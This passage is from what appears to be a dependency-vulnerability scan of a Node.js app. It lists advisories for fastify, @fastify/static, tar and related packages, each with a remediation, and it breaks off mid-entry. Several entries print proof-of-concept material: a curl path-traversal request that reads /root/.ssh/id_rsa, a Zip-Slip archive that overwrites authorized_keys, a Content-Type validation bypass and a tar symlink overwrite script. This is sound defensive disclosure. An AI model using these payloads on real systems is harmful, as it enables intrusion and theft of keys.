Vulnerabilities |
36 via 57 paths |
|---|---|
Dependencies |
251 |
Source |
GitHub |
Find, fix and prevent vulnerabilities in your code.
high severity
- Vulnerable module: @fastify/static
- Introduced through: @fastify/static@7.0.4 and @fastify/swagger-ui@4.2.0
Detailed paths
-
Introduced through: app@ivstiv/grap › @fastify/static@7.0.4Remediation: Upgrade to @fastify/static@10.1.1.
-
Introduced through: app@ivstiv/grap › @fastify/swagger-ui@4.2.0 › @fastify/static@7.0.4Remediation: Upgrade to @fastify/swagger-ui@6.1.1.
Overview
@fastify/static is a Plugin for serving static files as fast as possible.
Affected versions of this package are vulnerable to Directory Traversal through getPathnameForSend in index.js. An attacker can reach static files protected by route-based middleware or guards by sending a request with non-leading .. or %2E%2E path segments, such as /foo/../deep/secret.txt or /app/%2e%2e/deep/secret.txt. The vulnerable route matching path lets find-my-way consume those segments without normalizing them, so the request falls through to the static handler instead of the guarded route. That bypass exposes files that the application intended to protect, causing unauthorized file access and making route-level authorization ineffective for @fastify/static content.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade @fastify/static to version 10.1.1 or higher.
References
high severity
- Vulnerable module: @fastify/static
- Introduced through: @fastify/static@7.0.4 and @fastify/swagger-ui@4.2.0
Detailed paths
-
Introduced through: app@ivstiv/grap › @fastify/static@7.0.4Remediation: Upgrade to @fastify/static@10.1.3.
-
Introduced through: app@ivstiv/grap › @fastify/swagger-ui@4.2.0 › @fastify/static@7.0.4Remediation: Upgrade to @fastify/swagger-ui@6.1.1.
Overview
@fastify/static is a Plugin for serving static files as fast as possible.
Affected versions of this package are vulnerable to Directory Traversal via the static file handler process. An attacker can access protected files by submitting requests with non-canonical path segments, such as dot segments, duplicate slashes, encoded dots, or backslashes, which bypass route-based guards and disclose sensitive file contents. This is only exploitable if a route-based guard is used to protect a subtree of the static root, and not when the allowedPath option is relied upon.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade @fastify/static to version 10.1.3 or higher.
References
high severity
- Vulnerable module: fastify
- Introduced through: fastify@4.29.1
Detailed paths
-
Introduced through: app@ivstiv/grap › fastify@4.29.1Remediation: Upgrade to fastify@5.12.2.
Overview
fastify is an overhead web framework, for Node.js.
Affected versions of this package are vulnerable to Authentication Bypass Using an Alternate Path or Channel via malformed URLs in the fourOhFour router in lib/four-oh-four.js. An attacker can reach an encapsulated not-found handler and bypass its preHandler by sending a malformed request target such as /public/%c0 to a sibling plugin prefix when no route matches the request method. Because the malformed URL is routed through the shared not-found dispatch path, Fastify can invoke the wrong plugin’s 404 handler and return its response without running the protected handler’s authentication hook. This breaks prefix-scoped not-found handling and exposes any data or behavior that the private fallback handler would normally guard.
Workarounds
- Reject malformed request targets before they reach the application, for example at an upstream proxy or gateway, to prevent malformed URLs from reaching encapsulated not-found handlers and bypassing their
preHandlerauthentication hooks. - Do not rely on a not-found handler to serve protected data, so a malformed URL cannot be used to obtain private fallback responses from a sibling plugin’s 404 handler.
Remediation
Upgrade fastify to version 5.12.2 or higher.
References
high severity
- Vulnerable module: fastify
- Introduced through: fastify@4.29.1
Detailed paths
-
Introduced through: app@ivstiv/grap › fastify@4.29.1Remediation: Upgrade to fastify@5.8.5.
Overview
fastify is an overhead web framework, for Node.js.
Affected versions of this package are vulnerable to Improper Validation of Specified Type of Input via the schema.body.content when a space is prepended to the Content-Type header. An attacker can bypass input validation by sending requests with a leading space in the Content-Type header, causing the body to be parsed but skipping schema validation.
Note: Even though the vulnerability was fixed in version 5.3.2, that version introduced a regression, and a new vulnerability was caused by the fix (CVE-2026-33806). To be fully protected from both the original issue, recommand to upgrade to v5.8.5.
PoC
const fastify = require('fastify')({ logger: false });
fastify.post('/transfer', {
schema: {
body: {
content: {
'application/json': {
schema: {
type: 'object',
required: ['amount', 'recipient'],
properties: {
amount: { type: 'number', maximum: 1000 },
recipient: { type: 'string', maxLength: 50 },
admin: { type: 'boolean', enum: [false] }
},
additionalProperties: false
}
}
}
}
}
}, async (request) => {
return { processed: true, data: request.body };
});
(async () => {
await fastify.ready();
// BLOCKED — normal request with invalid payload
const res1 = await fastify.inject({
method: 'POST',
url: '/transfer',
headers: { 'content-type': 'application/json' },
payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
});
console.log('Normal:', res1.statusCode);
// → 400 FST_ERR_VALIDATION
// BYPASS — single leading space
const res2 = await fastify.inject({
method: 'POST',
url: '/transfer',
headers: { 'content-type': ' application/json' },
payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
});
console.log('Leading space:', res2.statusCode);
// → 200 (validation bypassed!)
console.log('Body:', res2.body);
await fastify.close();
})();
Remediation
Upgrade fastify to version 5.8.5 or higher.
References
high severity
- Vulnerable module: fastify
- Introduced through: fastify@4.29.1
Detailed paths
-
Introduced through: app@ivstiv/grap › fastify@4.29.1Remediation: Upgrade to fastify@5.12.2.
Overview
fastify is an overhead web framework, for Node.js.
Affected versions of this package are vulnerable to Improper Validation of Specified Type of Input via the route schema handling in lib/route.js, lib/schemas.js, and lib/validation.js. An attacker can reach a route handler with arbitrary input by sending a request to an endpoint that uses false as a deny-all schema for body, querystring, params, headers, or the query alias. Because those schemas were treated as absent when evaluated for JavaScript truthiness, Fastify skipped validator compilation and let the request proceed to the handler, allowing unauthenticated access to routes that were intended to reject every request.
Workarounds
- Express a deny-all request schema with an always-failing object schema such as
{ "not": {} }instead of the booleanfalse, so the route still rejects requests before they reach the handler. - Reject the request in an
onRequesthook, so unauthenticated clients are blocked before route handling even if a request-part schema was defined withfalse.
Remediation
Upgrade fastify to version 5.12.2 or higher.
References
high severity
- Vulnerable module: fastify
- Introduced through: fastify@4.29.1
Detailed paths
-
Introduced through: app@ivstiv/grap › fastify@4.29.1Remediation: Upgrade to fastify@5.12.2.
Overview
fastify is an overhead web framework, for Node.js.
Affected versions of this package are vulnerable to Improper Validation of Unsafe Equivalence in Input due to incomplete schema case normalization in lib/validation.js when compiling header schemas. An attacker can bypass schema-enforced header dependencies by sending canonical-cased header names in a request while omitting the dependent header the schema is meant to require. Because Node.js stores request headers in lowercase, Fastify’s shallow normalization missed dependencies and nested subschemas, so assertions such as requiring X-Admin-Token when X-Admin is present never matched the incoming request headers. This lets a remote client reach privileged header-gated routes or actions without supplying the full set of headers the application intended to enforce.
Workarounds
- Inline the header schema instead of referencing it with an external
$ref, so header names can be case-normalized and case-insensitive assertions likerequiredanddependenciesstill apply.
Remediation
Upgrade fastify to version 5.12.2 or higher.
References
high severity
- Vulnerable module: fastify
- Introduced through: fastify@4.29.1
Detailed paths
-
Introduced through: app@ivstiv/grap › fastify@4.29.1Remediation: Upgrade to fastify@5.7.2.
Overview
fastify is an overhead web framework, for Node.js.
Affected versions of this package are vulnerable to Interpretation Conflict via the Content-Type header processing. An attacker can bypass body validation by appending a tab character (\t) and arbitrary content to the Content-Type header, causing the server to treat the body as the intended type without enforcing validation rules.
Note: This vulnerability affects all Fastify users who rely on Content-Type-based body validation schemas to enforce data integrity or security constraints.
Workaround
This vulnerability can be mitigated by implementing a custom onRequest hook to reject requests containing tab characters in the Content-Type header.
Remediation
Upgrade fastify to version 5.7.2 or higher.
References
high severity
- Vulnerable module: find-my-way
- Introduced through: fastify@4.29.1
Detailed paths
-
Introduced through: app@ivstiv/grap › fastify@4.29.1 › find-my-way@8.2.2Remediation: Upgrade to fastify@5.0.0.
Overview
Affected versions of this package are vulnerable to Prototype Pollution in the lookup function when handling HTTP/2 requests. An attacker can cause the application to crash by sending specially crafted HTTP method values that exploit inherited object properties, leading to a denial of service.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade find-my-way to version 9.7.0 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: sqlite3@5.1.7 and bcrypt@5.1.1
Detailed paths
-
Introduced through: app@ivstiv/grap › sqlite3@5.1.7 › tar@6.2.1Remediation: Upgrade to sqlite3@6.0.1.
-
Introduced through: app@ivstiv/grap › bcrypt@5.1.1 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1Remediation: Upgrade to bcrypt@6.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as src/extract.ts. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.
Remediation
Upgrade tar to version 7.5.19 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: sqlite3@5.1.7 and bcrypt@5.1.1
Detailed paths
-
Introduced through: app@ivstiv/grap › sqlite3@5.1.7 › tar@6.2.1Remediation: Upgrade to sqlite3@6.0.1.
-
Introduced through: app@ivstiv/grap › bcrypt@5.1.1 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1Remediation: Upgrade to bcrypt@6.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Infinite loop via the replace method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.
Remediation
Upgrade tar to version 7.5.18 or higher.
References
high severity
- Vulnerable module: uri-js
- Introduced through: @fastify/swagger@8.15.0
Detailed paths
-
Introduced through: app@ivstiv/grap › @fastify/swagger@8.15.0 › json-schema-resolver@2.0.0 › uri-js@4.4.1
Overview
uri-js is a RFC 3986/3987 compliant, scheme extendable URI/IRI parsing/validating/resolving library for JavaScript.
Affected versions of this package are vulnerable to Infinite loop via the removeDotSegments function, which loops infinitely when a path segment begins with Unicode line separators (U+2028) or paragraph separators (U+2029). An attacker can trigger this by passing such a path to removeDotSegments directly, or through the normalize or resolve functions with IRI handling enabled, blocking the Node.js event loop indefinitely until heap exhaustion.
Remediation
There is no fixed version for uri-js.
References
high severity
- Vulnerable module: fastify
- Introduced through: fastify@4.29.1
Detailed paths
-
Introduced through: app@ivstiv/grap › fastify@4.29.1Remediation: Upgrade to fastify@5.12.2.
Overview
fastify is an overhead web framework, for Node.js.
Affected versions of this package are vulnerable to Incorrect Behavior Order: Early Validation through the request validation path in lib/validation.js. An attacker can replace the validated request body, or trigger a validation failure, by sending an $async schema-validated payload that includes attacker-controlled value or error properties. When a route uses an asynchronous request schema, Fastify processes the resolved validator result before the handler runs and can pass the handler a different body than the one that satisfied the schema. This can lead to unauthorized state changes or data disclosure in applications that trust the validated request body for business logic.
Workarounds
- Avoid
$asyncrequest schemas. - Perform the security-sensitive check in an
onRequestorpreHandlerhook rather than relying on the schema-validated request part. - Custom async validator compilers should throw or reject on failure instead of returning an
{ error }object.
Remediation
Upgrade fastify to version 5.12.2 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: sqlite3@5.1.7 and bcrypt@5.1.1
Detailed paths
-
Introduced through: app@ivstiv/grap › sqlite3@5.1.7 › tar@6.2.1Remediation: Upgrade to sqlite3@6.0.1.
-
Introduced through: app@ivstiv/grap › bcrypt@5.1.1 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1Remediation: Upgrade to bcrypt@6.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via the extract() function. An attacker can read or write files outside the intended extraction directory by causing the application to extract a malicious archive containing a chain of symlinks leading to a hardlink, which bypasses path validation checks.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.8 or higher.
References
high severity
- Vulnerable module: fastify
- Introduced through: fastify@4.29.1
Detailed paths
-
Introduced through: app@ivstiv/grap › fastify@4.29.1Remediation: Upgrade to fastify@5.12.5.
Overview
fastify is an overhead web framework, for Node.js.
Affected versions of this package are vulnerable to Uncaught Exception via the reply.trailer function when handling HTTP/2 trailer responses. An attacker can cause the server process to crash and terminate all active requests by sending a single unauthenticated HTTP/2 request to any route that registers a response trailer. This can be repeated after each restart to continually disrupt service.
Workaround
This vulnerability can be mitigated by avoiding the registration of response trailers with reply.trailer on routes served over HTTP/2 until upgrading.
Remediation
Upgrade fastify to version 5.12.5 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: sqlite3@5.1.7 and bcrypt@5.1.1
Detailed paths
-
Introduced through: app@ivstiv/grap › sqlite3@5.1.7 › tar@6.2.1Remediation: Upgrade to sqlite3@6.0.1.
-
Introduced through: app@ivstiv/grap › bcrypt@5.1.1 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1Remediation: Upgrade to bcrypt@6.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Symlink Attack exploitable via stripAbsolutePath(), used by the Unpack class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose linkpath uses a drive-relative path such as C:../target.txt in a malicious tar.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.10 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: sqlite3@5.1.7 and bcrypt@5.1.1
Detailed paths
-
Introduced through: app@ivstiv/grap › sqlite3@5.1.7 › tar@6.2.1Remediation: Upgrade to sqlite3@6.0.1.
-
Introduced through: app@ivstiv/grap › bcrypt@5.1.1 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1Remediation: Upgrade to bcrypt@6.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Symlink Attack via tar.x() extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like C:../../../target.txt.
PoC
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.11 or higher.
References
medium severity
new
- Vulnerable module: @fastify/static
- Introduced through: @fastify/static@7.0.4 and @fastify/swagger-ui@4.2.0
Detailed paths
-
Introduced through: app@ivstiv/grap › @fastify/static@7.0.4Remediation: Upgrade to @fastify/static@10.1.12.
-
Introduced through: app@ivstiv/grap › @fastify/swagger-ui@4.2.0 › @fastify/static@7.0.4Remediation: Upgrade to @fastify/swagger-ui@6.1.1.
Overview
@fastify/static is a Plugin for serving static files as fast as possible.
Affected versions of this package are vulnerable to Exposure of Information Through Directory Listing via the sendDirectoryList() function when the plugin is configured with dotfiles: 'deny' or 'ignore' alongside directory listing enabled. A request for a denied dot-directory (e.g. /.git/) triggers a 403 from the underlying @fastify/send step, but the listing fallback misreads that 403 on a path ending in / as a directory without an index file and serves the directory listing anyway. An unauthenticated client can recursively enumerate file and subdirectory names inside dot-directories the operator explicitly denied, such as version control metadata, backup files, and key file names. File contents remain protected and only names are disclosed.
Note: This is only exploitable when dotfiles is set to 'deny' or 'ignore' and directory listing (list) is explicitly enabled.
Workaround
Disable directory listing (list), or do not serve a root that contains dot-directories.
Remediation
Upgrade @fastify/static to version 10.1.12 or higher.
References
medium severity
- Vulnerable module: @fastify/static
- Introduced through: @fastify/static@7.0.4 and @fastify/swagger-ui@4.2.0
Detailed paths
-
Introduced through: app@ivstiv/grap › @fastify/static@7.0.4Remediation: Upgrade to @fastify/static@10.1.4.
-
Introduced through: app@ivstiv/grap › @fastify/swagger-ui@4.2.0 › @fastify/static@7.0.4Remediation: Upgrade to @fastify/swagger-ui@6.1.1.
Overview
@fastify/static is a Plugin for serving static files as fast as possible.
Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity via the route matching process. An attacker can access protected files by altering the letter case of a path segment in a request on case-insensitive filesystems, thereby bypassing route guard or allowedPath restrictions.
Note: This is only exploitable if the server is running on a case-insensitive filesystem such as Windows or the default macOS volume.
Workaround
This vulnerability can be mitigated by serving static files from a case-sensitive filesystem, or by ensuring route guards and allowedPath rules account for every letter-case variant of the protected paths.
Remediation
Upgrade @fastify/static to version 10.1.4 or higher.
References
medium severity
new
- Vulnerable module: @fastify/static
- Introduced through: @fastify/static@7.0.4 and @fastify/swagger-ui@4.2.0
Detailed paths
-
Introduced through: app@ivstiv/grap › @fastify/static@7.0.4Remediation: Upgrade to @fastify/static@10.1.8.
-
Introduced through: app@ivstiv/grap › @fastify/swagger-ui@4.2.0 › @fastify/static@7.0.4Remediation: Upgrade to @fastify/swagger-ui@6.1.1.
Overview
@fastify/static is a Plugin for serving static files as fast as possible.
Affected versions of this package are vulnerable to Incorrect Authorization via the allowedPath guard, which receives only the requested pathname but does not re-check the final resolved file path after @fastify/send performs directory index and extension resolution. A request for a directory such as /private/ resolves to its default index.html, and an extensionless request such as /secret resolves through the configured extensions to secret.html. Because the selected file is streamed without being re-checked against allowedPath, a guard that denies /private/index.html or /secret.html is bypassed by requesting the directory or extensionless form, allowing an unauthenticated client to read files the application intended to keep private.
Remediation
Upgrade @fastify/static to version 10.1.8 or higher.
References
medium severity
- Vulnerable module: @fastify/static
- Introduced through: @fastify/static@7.0.4 and @fastify/swagger-ui@4.2.0
Detailed paths
-
Introduced through: app@ivstiv/grap › @fastify/static@7.0.4Remediation: Upgrade to @fastify/static@10.1.2.
-
Introduced through: app@ivstiv/grap › @fastify/swagger-ui@4.2.0 › @fastify/static@7.0.4Remediation: Upgrade to @fastify/swagger-ui@6.1.1.
Overview
@fastify/static is a Plugin for serving static files as fast as possible.
Affected versions of this package are vulnerable to Incorrect Behavior Order: Validate Before Canonicalize via non-canonical URL path handling in the allowedPath check in index.js. An attacker can bypass file/subtree restrictions by sending paths such as //file, /./file, or /public/../private/file that allowedPath evaluates before pathname normalization. Applications that rely on allowedPath to block specific static files or deny access outside an allowed subtree can serve files that should have been rejected, exposing protected content to unauthorized clients.
Remediation
Upgrade @fastify/static to version 10.1.2 or higher.
References
medium severity
new
- Vulnerable module: minimatch
- Introduced through: @fastify/static@7.0.4, @fastify/swagger-ui@4.2.0 and others
Detailed paths
-
Introduced through: app@ivstiv/grap › @fastify/static@7.0.4 › glob@10.5.0 › minimatch@9.0.9Remediation: Upgrade to @fastify/static@10.1.9.
-
Introduced through: app@ivstiv/grap › @fastify/swagger-ui@4.2.0 › @fastify/static@7.0.4 › glob@10.5.0 › minimatch@9.0.9Remediation: Upgrade to @fastify/swagger-ui@6.1.1.
-
Introduced through: app@ivstiv/grap › bcrypt@5.1.1 › @mapbox/node-pre-gyp@1.0.11 › rimraf@3.0.2 › glob@7.2.3 › minimatch@3.1.5Remediation: Upgrade to bcrypt@6.0.0.
Overview
minimatch is a minimal matching utility.
Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) in the firstPhasePreProcess method, where the **/.. transform clones a globParts entry and pushes the clone back onto the same array inside a do...while (didSomething) fixpoint loop. An attacker can exhaust CPU and memory by supplying a glob pattern whose **/.. sequences regenerate entries during preprocessing, which secondPhasePreProcess then compares in an O(n^2) pairwise partsMatch pass over the expanded set. Exploitation requires the pattern to be parsed with optimizationLevel set to 2 or higher.
Remediation
Upgrade minimatch to version 11.0.1 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: sqlite3@5.1.7 and bcrypt@5.1.1
Detailed paths
-
Introduced through: app@ivstiv/grap › sqlite3@5.1.7 › tar@6.2.1Remediation: Upgrade to sqlite3@6.0.1.
-
Introduced through: app@ivstiv/grap › bcrypt@5.1.1 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1Remediation: Upgrade to bcrypt@6.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Incorrect Type Conversion or Cast via the src/pax.ts file. An attacker can cause a process crash by providing all-digit PAX path or linkpath values that are coerced to JavaScript numbers, leading to a TypeError during downstream path handling.
Remediation
Upgrade tar to version 7.5.18 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: sqlite3@5.1.7 and bcrypt@5.1.1
Detailed paths
-
Introduced through: app@ivstiv/grap › sqlite3@5.1.7 › tar@6.2.1Remediation: Upgrade to sqlite3@6.0.1.
-
Introduced through: app@ivstiv/grap › bcrypt@5.1.1 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1Remediation: Upgrade to bcrypt@6.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Interpretation Conflict due to improper handling of PAX extended header size overrides in intermediary metadata headers. An attacker can cause inconsistent archive parsing results between different tar implementations by crafting a malicious tar archive that desynchronizes the parser's interpretation, potentially hiding files from scanners or extractors that rely on different tools.
Remediation
Upgrade tar to version 7.5.16 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: sqlite3@5.1.7 and bcrypt@5.1.1
Detailed paths
-
